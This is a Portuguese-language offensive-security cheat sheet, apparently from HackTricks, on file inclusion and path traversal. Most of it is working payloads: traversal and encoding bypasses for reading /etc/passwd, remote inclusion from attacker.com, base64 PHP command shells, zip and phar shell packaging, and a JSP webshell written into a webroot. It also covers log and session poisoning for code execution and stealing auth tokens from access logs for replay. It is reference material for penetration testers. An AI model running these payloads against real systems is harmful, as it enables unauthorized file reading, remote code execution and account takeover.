File Inclusion/Path traversal
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
File Inclusion
Remote File Inclusion (RFI): O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor irá executá-lo). Em php isto está desabilitado por padrão (allow_url_include).
Local File Inclusion (LFI): O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode controlar, de alguma forma, qual arquivo será carregado pelo servidor.
Funções PHP vulneráveis: require, require_once, include, include_once
Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Misturando várias *nix LFI listas e adicionando mais caminhos criei esta:
Tente também trocar / por \
Tente também adicionar ../../../../../
Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada here
Windows
Mescla de diferentes wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
Tente também trocar / por \
Tente também remover C:/ e adicionar ../../../../../
Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada here
OS X
Verifique a lista de LFI do Linux.
LFI básico e bypasses
Todos os exemplos são para Local File Inclusion mas poderiam ser aplicados a Remote File Inclusion também (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences stripped non-recursively
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass o acréscimo de mais chars no final da string fornecida (bypass de: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Isto está resolvido desde o PHP 5.4
Codificação
Você pode usar codificações não padrão como double URL encode (e outros):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Engines modernos de HTML-to-PDF (por exemplo TCPDF ou wrappers como html2pdf) analisam attacker-provided HTML, SVG, CSS e font URLs, mas rodam dentro de redes backend confiáveis com acesso ao filesystem. Uma vez que você consegue injetar HTML em $pdf->writeHTML()/Html2Pdf::writeHTML(), você frequentemente pode exfiltrate arquivos locais que a conta do servidor web pode ler.
- Fingerprint the renderer: cada PDF gerado contém um campo
Producer(por exemploTCPDF 6.8.2). Saber o build exato indica quais filtros de path existem e se o URL decoding ocorre antes da validação. - Inline SVG payloads:
TCPDF::startSVGElementHandler()lê o atributoxlink:hrefde elementos<image>antes de executarurldecode(). Incorporar um SVG malicioso dentro de um data URI faz com que muitos sanitizadores de HTML ignorem o payload enquanto o TCPDF ainda o processa:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF antepõe $_SERVER['DOCUMENT_ROOT'] a caminhos que começam com / e só resolve .. mais tarde, então use segmentos iniciais ../../.. ou /../../.. para escapar da raiz após o prepend.
- Codificação para contornar filtros ingênuos: Versões ≤6.8.2 verificam apenas a substring literal
../antes de decodificar a URL. Enviar..%2f(ou..%2F) no SVG ou em um atributo<img src>cru contorna a verificação, porque a sequência de travessia dot-dot-slash é recriada somente depois que o TCPDF chamaurldecode(). - Dupla codificação para decodificação em múltiplas etapas: Se a entrada do usuário é decodificada pelo framework web e pelo TCPDF, codifique a barra duas vezes (
%252f). Uma decodificação a transforma em%2f, a segunda decodificação no TCPDF a transforma em/, produzindo/..%252f..%252f..→/../../../…sem nunca mostrar../ao filtro inicial. - Manipulador HTML
<img>:TCPDF::openHTMLTagHandler()contém o mesmo bug de ordem de operações, permitindo payloads HTML diretos comosrc="%2f..%252f..%252ftmp%252fsecret.png"para ler qualquer bitmap localmente acessível.
Esta técnica leaks qualquer coisa legível pelo PDF worker (passport scans, API keys renderizadas como imagens, etc.). Hardeners corrigiram isso na 6.9.1 ao canonizar caminhos (isRelativePath()), então durante os testes priorize versões antigas do Producer.
A partir da pasta existente
Talvez o back-end esteja verificando o caminho da pasta:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Explorando diretórios do sistema de arquivos em um servidor
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e testar a existência de pastas específicas. Abaixo está um método detalhado para conseguir isso:
- Determine Directory Depth: Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo
/etc/passwd(aplicável se o servidor for Linux-based). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Procurar por pastas: Anexe o nome da pasta suspeita (por exemplo,
private) ao URL, então navegue de volta para/etc/passwd. O nível de diretório adicional requer incrementar a profundidade em uma unidade:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpretar os resultados: A resposta do servidor indica se a pasta existe:
- Erro / Sem saída: A pasta
privateprovavelmente não existe no local especificado. - Conteúdo de
/etc/passwd: A presença da pastaprivateestá confirmada.
- Exploração recursiva: Pastas descobertas podem ser exploradas adicionalmente por subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se /var/www/ contém um diretório private (assumindo que o diretório atual esteja em uma profundidade de 3), use:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. Frequentemente é usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é construir um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
In PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/are all treated as the same path.- When the last 6 characters are
passwd, appending a/(making itpasswd/) doesn’t change the targeted file. - Similarly, if
.phpis appended to a file path (likeshellcode.php), adding a/.at the end will not alter the file being accessed.
Os exemplos fornecidos demonstram como utilizar path truncation para acessar /etc/passwd, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Nesses cenários, o número de traversals necessários pode ser cerca de 2027, mas esse número pode variar dependendo da configuração do servidor.
- Using Dot Segments and Additional Characters: Sequências de traversal (
../) combinadas com segmentos adicionais de ponto e caracteres podem ser usadas para navegar pelo sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor. - Determining the Required Number of Traversals: Por tentativa e erro, é possível encontrar o número preciso de sequências
../necessárias para alcançar o diretório root e então/etc/passwd, garantindo que quaisquer strings anexadas (como.php) sejam neutralizadas, mas o caminho desejado (/etc/passwd) permaneça intacto. - Starting with a Fake Directory: É prática comum começar o caminho com um diretório inexistente (como
a/). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor.
When employing path truncation techniques, it’s crucial to understand the server’s path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
No php, isso está desativado por padrão porque allow_url_include está Off. Ele precisa estar On para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Se, por algum motivo, allow_url_include estiver On, mas o PHP estiver filtrando o acesso a páginas externas, de acordo com este post, você pode usar, por exemplo, o protocolo data com base64 para decodificar um código PHP em b64 e obter RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
No código anterior, o
+.txtfinal foi adicionado porque o atacante precisava de uma string que terminasse em.txt, então a string termina com isso e, após o b64 decode, essa parte retornará apenas junk e o código PHP real será incluído (e, portanto, executado).
Outro exemplo não usando o protocolo php:// seria:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Root element
Em Python, em um código como este:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Se o usuário passar um caminho absoluto para file_name, o caminho anterior é simplesmente removido:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Isso é o comportamento pretendido de acordo com the docs:
Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
Java Listar Diretórios
Parece que, se você tem um Path Traversal em Java e você solicita um diretório em vez de um arquivo, uma listagem do diretório é retornada. Isso não ocorrerá em outras linguagens (afaik).
Top 25 parâmetros
Aqui está a lista dos 25 principais parâmetros que poderiam ser vulneráveis a local file inclusion (LFI) (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI usando wrappers e protocolos PHP
php://filter
PHP filters allow perform basic modification operations on the data before being it’s read or written. There are 5 categories of filters:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Remove tags from the data (everything between “<” and “>” chars)- Observe que este filtro desapareceu nas versões modernas do PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>). Para obter a lista de todas as codificações suportadas, execute no console:iconv -l
Warning
Ao abusar do filtro de conversão
convert.iconv.*você pode gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações, veja LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Comprime o conteúdo (útil ao exfiltrar muita informação)zlib.inflate: Descomprime os dados- Encryption Filters
mcrypt.*: Obsoletomdecrypt.*: Obsoleto- Other Filters
- Executando em php
var_dump(stream_get_filters());você pode encontrar alguns filtros inesperados: consumeddechunk: reverte a codificação HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
A parte “php://filter” não diferencia maiúsculas de minúsculas
Usando php filters como oráculo para ler arquivos arbitrários
Neste post é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Essa técnica é baseada em uma exfiltração booleana do arquivo (caractere por caractere) usando php filters como oráculo. Isso porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção.
No post original você encontra uma explicação detalhada da técnica, mas aqui vai um resumo rápido:
- Use o codec
UCS-4LEpara deixar o caractere inicial do texto no início e fazer o tamanho da string aumentar exponencialmente. - Isso será usado para gerar um texto tão grande quando a letra inicial for adivinhada corretamente que o php disparará um erro.
- O filtro dechunk irá remover tudo se o primeiro caractere não for um hexadecimal, então podemos saber se o primeiro caractere é hex.
- Isso, combinado com o anterior (e outros filtros dependendo da letra testada), permitirá adivinhar uma letra no início do texto observando quando fazemos transformações suficientes para torná-la não-hexadecimal. Porque se for hex, dechunk não a apagará e a bomba inicial fará o php gerar um erro.
- O codec convert.iconv.UNICODE.CP930 transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um
a, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g, a letra deixa de ser um caractere hexadecimal, portanto dechunk não a apaga e o erro do php é acionado porque multiplica com a bomba inicial. - Usando outras transformações como rot13 no começo é possível leakar outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
- Quando o caractere inicial é um número, é necessário codificá-lo em base64 e leakar as 2 primeiras letras para leakar o número.
- O problema final é ver como leakar mais do que a letra inicial. Usando filtros de ordem de memória como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE é possível mudar a ordem dos chars e trazer para a primeira posição outras letras do texto.
- E, para conseguir dados adicionais, a ideia é gerar 2 bytes de dados junk no início com convert.iconv.UTF16.UTF16, aplicar UCS-4LE para fazer pivot com os próximos 2 bytes, e deletar os dados até os dados junk (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até atingir o bit desejado para leak.
No post também foi leaked uma ferramenta para executar isso automaticamente: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Você também pode usar php://stdin, php://stdout and php://stderr para acessar os descritores de arquivo 0, 1 e 2 respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
zip:// e rar://
Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.
Para poder abusar do protocolo rar, ele precisa ser especificamente ativado.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Observe que este protocolo é restrito pelas configurações do PHP allow_url_open e allow_url_include
expect://
Expect precisa estar ativado. Você pode executar código usando isto:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Especifique seu payload nos parâmetros POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Um arquivo .phar pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como include para carregamento de arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo .phar:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Para compilar o arquivo .phar, o seguinte comando deve ser executado:
php --define phar.readonly=0 create_path.php
Ao ser executado, um arquivo chamado test.phar será criado, que poderia potencialmente ser usado para explorar vulnerabilidades de Local File Inclusion (LFI).
Nos casos em que o LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ou filesize(), pode-se tentar explorar uma vulnerabilidade de deserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo phar.
Para uma compreensão detalhada sobre a exploração de vulnerabilidades de deserialização no contexto de arquivos .phar, consulte o documento linkado abaixo:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Foi possível abusar de any arbitrary file read from PHP that supports php filters para obter RCE. A descrição detalhada pode ser found in this post.
Resumo bem rápido: um 3 byte overflow na heap do PHP foi abusado para alterar a cadeia de free chunks de um tamanho específico, a fim de conseguir escrever qualquer coisa em qualquer endereço, então foi adicionado um hook para chamar system.
Foi possível alocar chunks de tamanhos específicos abusando de mais php filters.
Mais protocolos
Confira mais possíveis protocols to include here:
- php://memory and php://temp — Escreve em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de file inclusion)
- file:// — Acessando o sistema de arquivos local
- http:// — Acessando URLs HTTP(s)
- ftp:// — Acessando URLs FTP(s)
- zlib:// — Fluxos de compressão
- glob:// — Encontra nomes de caminho que correspondem ao padrão (Não retorna nada imprimível, então não é realmente útil aqui)
- ssh2:// — Secure Shell 2
- ogg:// — Streams de áudio (Não útil para ler arquivos arbitrários)
LFI via ‘assert’ do PHP
Os riscos de Local File Inclusion (LFI) em PHP são notavelmente altos quando se lida com a função ‘assert’, que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contendo caracteres de directory traversal como “..” for verificada, mas não sanitizada corretamente.
Por exemplo, o código PHP pode ser projetado para prevenir directory traversal da seguinte forma:
assert("strpos('$file', '..') === false") or die("");
Embora isto vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isto para ler o conteúdo de arquivos, um attacker poderia usar:
' and die(highlight_file('/etc/passwd')) or '
Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
' and die(system("id")) or '
É importante URL-encode these payloads.
PHP Blind Path Traversal
Warning
Esta técnica é relevante em casos em que você controla o caminho do arquivo de uma função PHP que irá acessar um arquivo, mas você não verá o conteúdo do arquivo (como uma chamada simples para
file()) porque o conteúdo não é exibido.
In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
Em resumo, a técnica usa a codificação “UCS-4LE” para tornar o conteúdo de um arquivo tão grande que a função PHP que abre o arquivo acionará um erro.
Então, para leak o primeiro char o filtro dechunk é usado juntamente com outros como base64 ou rot13, e finalmente os filtros convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE são usados para colocar outros chars no início e leak them.
Funções que podem ser vulneráveis: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Para os detalhes técnicos confira o post mencionado!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Fluxo típico de exploração:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notas:
- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (ex.: um JMF XML listener on TCP 4004). O portal web principal (porta diferente) servirá seu payload posteriormente.
- Em stacks Java, essas escritas de arquivo frequentemente são implementadas com simples concatenação
File/Paths. Falta de canonicalisation/allow-listing é a falha principal.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Mitigações que impedem esta classe de bugs:
- Resolva para um caminho canônico e garanta que seja descendente de um diretório base allow-listed.
- Rejeite qualquer caminho que contenha
.., raízes absolutas ou letras de unidade; prefira nomes de arquivo gerados. - Execute o processo de escrita com uma conta de baixo privilégio e segregue os diretórios de escrita das raízes servidas.
Remote File Inclusion
Explicado anteriormente, follow this link.
Via Apache/Nginx log file
Se o servidor Apache ou Nginx for vulnerable to LFI dentro da função include você pode tentar acessar /var/log/apache2/access.log or /var/log/nginx/access.log, inserir no user agent ou em um GET parameter um php shell como <?php system($_GET['c']); ?> e incluir esse arquivo
Warning
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string “quote;”, PHP will throw an error there and nothing else will be executed.
Além disso, certifique-se de escrever corretamente o payload ou o PHP dará erro toda vez que tentar carregar o log file e você não terá uma segunda oportunidade.
Isso também pode ser feito em outros logs, mas tenha cuidado, o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header authorisation “basic” contém “user:password” em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse header.
Outros possíveis caminhos de log:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Ler access logs para coletar auth tokens via GET (token replay)
Muitas apps aceitam por engano session/auth tokens via GET (ex.: AuthenticationToken, token, sid). Se você tiver uma primitiva de path traversal/LFI para os access logs do servidor web, pode roubar esses tokens dos access logs e replay (reutilizar) esses tokens para contornar completamente a autenticação.
How-to:
- Use the traversal/LFI para ler os access logs do servidor web. Locais comuns:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Alguns endpoints retornam leituras de arquivo codificadas em Base64. Se for o caso, decodifique localmente e inspecione as linhas do log.
- Use Grep para localizar requisições GET que incluam um parâmetro token e capture seu valor; em seguida, replay esse valor contra o ponto de entrada da aplicação.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Decodifique o corpo se estiver em Base64, depois reenvie um token capturado:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notas:
- Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
- If the app supports multiple token names, search for common keys like AuthenticationToken, token, sid, access_token.
- Faça a rotação de quaisquer tokens que possam ter leaked nos logs.
Por e-mail
Envie um e-mail para uma conta interna (user@localhost) contendo seu payload PHP como <?php echo system($_REQUEST["cmd"]); ?> e tente incluir no correio do usuário com um caminho como /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>
Via /proc//fd/
- Faça upload de muitas shells (por exemplo: 100)
- Inclua http://example.com/index.php?page=/proc/$PID/fd/$FD, com $PID = PID do processo (pode ser brute forced) e $FD o descritor de arquivo (também pode ser brute forced)
Via /proc/self/environ
Como um arquivo de log, envie o payload no User-Agent; ele será refletido dentro do arquivo /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Se você conseguir enviar um arquivo, basta injetar o shell payload nele (ex: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf
Via upload de arquivo ZIP
Faça o upload de um arquivo ZIP contendo um shell PHP compactado e acesse:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via PHP sessions
Verifique se o site usa PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
No PHP, essas sessões são armazenadas em arquivos /var/lib/php5/sess\[PHPSESSID]_.
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Defina o cookie para <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use o LFI para incluir o arquivo de sessão do PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar <HOME>/.ssh/id_rsa
Via vsftpd logs
Os logs do servidor FTP vsftpd estão localizados em /var/log/vsftpd.log. No cenário em que exista uma vulnerabilidade de Local File Inclusion (LFI), e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:
- Injete um payload PHP no campo de username durante o processo de login.
- Após a injeção, utilize a LFI para recuperar os logs do servidor em /var/log/vsftpd.log.
Via php base64 filter (using base64)
Como mostrado em this artigo, o filtro base64 do PHP simplesmente ignora caracteres não-base64. Você pode usar isso para contornar a verificação de extensão de arquivo: se você fornecer base64 que termine com “.php”, ele simplesmente ignorará o “.” e anexará “php” ao base64. Aqui está um exemplo payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (sem arquivo necessário)
Este writeup explica que você pode usar php filters para gerar conteúdo arbitrário como saída. O que basicamente significa que você pode gerar código php arbitrário para o include sem precisar escrevê-lo em um arquivo.
Via segmentation fault
Upload um arquivo que será armazenado como temporário em /tmp, então na mesma requisição, provoque um segmentation fault, e então o arquivo temporário não será deletado e você poderá procurá-lo.
LFI2RCE via Segmentation Fault
Via Nginx armazenamento de arquivos temporários
Se você encontrou uma Local File Inclusion e o Nginx está rodando na frente do PHP você pode ser capaz de obter RCE com a seguinte técnica:
Via PHP_SESSION_UPLOAD_PROGRESS
Se você encontrou uma Local File Inclusion mesmo que você não tenha uma session e session.auto_start esteja Off. Se você fornecer o PHP_SESSION_UPLOAD_PROGRESS em dados multipart POST, o PHP irá ativar a sessão para você. Você poderia abusar disso para obter RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Se você encontrou uma Local File Inclusion e o servidor está rodando em Windows você pode conseguir RCE:
Via pearcmd.php + URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it’s possible to pass arguments to the script via the URL because it’s indicated that if a URL param doesn’t have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
O seguinte explora uma CRLF vuln para obter RCE (a partir de here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
